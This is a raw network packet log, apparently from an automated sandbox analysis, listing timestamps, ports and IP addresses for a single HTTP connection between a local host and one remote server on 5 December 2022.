Dec 5, 2022 06:44:44.832387924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832428932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832442999 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.832469940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832501888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832535028 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.832545042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832592010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832622051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832659960 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.832680941 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832721949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832751036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832789898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832808971 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.832832098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832861900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832905054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832923889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.832948923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.832982063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833023071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833034992 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.833065033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833093882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833133936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833148003 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.833180904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833210945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833250046 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833262920 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.833292961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833322048 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833362103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833365917 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.833404064 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833431959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833458900 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.833475113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833518982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833547115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833580017 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.833587885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833630085 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833688021 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.833710909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833755016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833796024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833836079 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833853960 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.833864927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833906889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833949089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.833976984 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.834006071 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.834017038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.834059000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.834088087 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.834117889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.834131002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.834175110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.834183931 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.834204912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.834259987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.834297895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.834353924 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.834971905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835017920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835056067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835081100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835088968 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.835117102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835156918 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835191011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835216045 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.835226059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835262060 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835283995 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.835287094 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835324049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835359097 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835376978 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.835383892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835418940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835453987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835472107 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.835479021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835514069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.835568905 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.998198032 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.998267889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.998301983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.998343945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.998384953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.998416901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.998461008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.998496056 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.998799086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.998908997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.998941898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.998979092 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.998986959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.999032021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.999062061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.999098063 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.999103069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.999169111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.999202013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.999242067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.999269009 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:44.999285936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.999316931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:44.999355078 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.002710104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.003077030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.003210068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.003303051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.003308058 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.003346920 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.003377914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.003418922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.003436089 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.004080057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004151106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004173994 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.004198074 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004240036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004270077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004297972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.004308939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004350901 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004379034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004417896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004434109 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.004458904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004487991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004525900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004544973 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.004566908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004595041 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004621029 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.004636049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004676104 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004704952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004726887 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.004744053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004784107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004822969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004837036 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.004852057 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004892111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004935026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004961967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.004987955 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005001068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005042076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005069017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005095005 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005108118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005147934 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005177975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005192041 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005218029 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005258083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005273104 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005286932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005326986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005364895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005374908 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005393028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005431890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005472898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005481958 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005501986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005541086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005579948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005589008 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005609035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005646944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005686045 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005702019 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005714893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005753994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005795956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005804062 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005825043 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005862951 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005903006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005913019 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.005932093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.005970955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006010056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006038904 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006040096 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.006079912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006119967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006129026 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.006159067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006191015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006228924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006253004 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.006268978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006298065 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006336927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006347895 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.006376982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006405115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006443024 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006469965 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.006483078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006510019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006548882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006558895 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.006588936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006617069 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006658077 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006685019 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.006696939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006725073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006763935 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006772995 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.006803036 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006830931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006869078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006916046 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.006941080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.006970882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007010937 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007029057 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.007051945 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007078886 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007117987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007157087 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007180929 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.007189035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007214069 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.007226944 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007266998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007294893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007320881 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.007333994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007373095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007400990 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007426977 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.007438898 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007479906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007519007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007534981 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.007546902 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007586002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007623911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007652044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007679939 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.007689953 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007730961 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007760048 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007786989 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.007797956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007838011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007865906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007891893 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.007905006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007944107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007971048 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.007998943 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008011103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008052111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008079052 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008109093 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008119106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008157969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008187056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008213043 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008224964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008265018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008279085 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008294106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008333921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008373976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008402109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008428097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008440018 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008479118 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008491039 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008507967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008546114 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008585930 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008614063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008641005 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008651972 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008692026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008704901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008721113 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008759975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008799076 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008837938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008850098 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008867025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008907080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008920908 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.008946896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.008975983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009004116 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.009015083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009053946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009080887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009119034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009152889 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.009157896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009188890 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009227037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009243011 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.009267092 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009294987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009332895 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009349108 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.009376049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009406090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009445906 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009459972 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.009489059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009516954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009556055 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009567022 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.009596109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009624004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009661913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009673119 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.009708881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009737015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009776115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009793043 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.009814978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009843111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009881973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009891987 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:45.009922028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009949923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009989023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:45.009999037 CET	49705	80	192.168.2.3	104.193.254.97
